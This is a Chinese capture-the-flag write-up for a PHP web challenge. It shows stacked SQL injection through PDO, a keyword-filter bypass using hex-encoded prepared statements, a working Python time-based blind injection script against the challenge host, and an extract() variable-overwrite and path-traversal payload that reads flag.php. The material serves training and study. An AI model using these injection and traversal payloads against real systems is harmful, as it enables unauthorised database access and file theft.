前言
关键字:[PDO|PDOSQL注入]
题解
/static/js/login.js
怪,随手一试就登录成功了
单引号,报语法错误,
再加上分号又正常,所以可以尝试堆叠注入.
PDO注入
类似ORM框架吧。
PHP数据对象(PDO)扩展为PHP访问数据库定义了一个轻量级的一致接口
PHP连接MySQL数据库的方式:MySQL、Mysqli、PDO
Mysqli通过multi_query()函数来进行多语句执行,普通的mysqli_query()函数只执行单个语句
PDO默认支持多语句查询,如果php版本小于5.5.21或者创建PDO实例时未设置
PDO::MYSQL_ATTR_MULTI_STATEMENTS
为false
时可能会造成堆叠注入,设置$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
情况下可以报错注入
由于过滤了select,if,sleep,substr等大多数注入常见的单词,但是注入又不得不使用其中的某些单词。那么在这里我们就可以用16进制+mysql预处理来绕过。
select hex('select 123'); //73656C65637420313233
set @a=0x73656C65637420313233;
prepare test from @a;
execute test;
那思路就很明显了,利用堆叠注入+盲注
select hex('select sleep(10)');set @a=0x73656C65637420736C65657028313029;prepare test from @a;execute test;
一般到;
就结束了,后面也不需要用注释符,而且如果用了多行注释#
可能会导致后面的语法执行错误。
脚本
import requests
import json
import time
def main():
url = '''http://a399ab47-58e4-4820-a59f-6c7a7efd6bb7.node4.buuoj.cn:81/index.php?r=Login/Login'''
payloads = "asd';set @a=0x{0};prepare ctftest from @a;execute ctftest;"
flag = ''
for i in range(1, 30):
# 查询payload
payload = "select if(ascii(substr((select flag from flag),{0},1))={1},sleep(3),1)"
for j in range(0, 128):
# 将构造好的payload进行16进制转码和json转码
datas = {'username': payloads.format(str_to_hex(
payload.format(i, j))), 'password': 'test213'}
data = json.dumps(datas)
times = time.time()
try:
res = requests.post(url=url, data=data, timeout=3)
except requests.exceptions.Timeout:
flag = flag + chr(j)
print(flag)
break
def str_to_hex(s):
return ''.join([hex(ord(c)).replace('0x', '') for c in s])
if __name__ == '__main__':
main()
多试几次,跑出来是glzjin_wants_a_girl_friend.zip
下载下来,MVC框架.
url大致的解析流程
从r参数中获取要访问的Controller以及Action,然后以/分隔开后拼接成完整的控制器名。以Login/Index为例,就是将Login/Index分隔开分别拼接成LoginController以及actionIndex,然后调用LoginController这个类中的actionIndex方法。每个action里面会调用对应的loadView()方法进行模版渲染,然后将页面返回给客户端。若访问的Controller不存在则默认解析Login/Index。
在BaseController.php中,明显这里可以利用extract()
进行变量覆盖,于是接下来就要找$viewData
在哪可以控制。
明显,在UserController.php中,$viewData
是可控的。
所以按照url解析流程,
index.php?r=User/Index
但是直接包含flag.php,还是读取不了里面内容,所以得找其他办法
在这,正好有转化base64输出的代码可以利用。
payload
img_file=/../flag.php
解码一下,结束
PD9waHAKICAgIGVjaG8gImZsYWcgaXMgaGVyZSxidXQgeW91IG11c3QgdHJ5IHRvIHNlZSBpdC4i
OwogICAgJGZsYWcgPSAiZmxhZ3s4MzM0OTMxNS1mNDE3LTRkYTMtOTQ0OS0zM2ZhZjZhNzdmN2V9
IjsK
在这发现个奇怪的事
chrome里的hackbar似乎对带有换行的base64解码处理不太好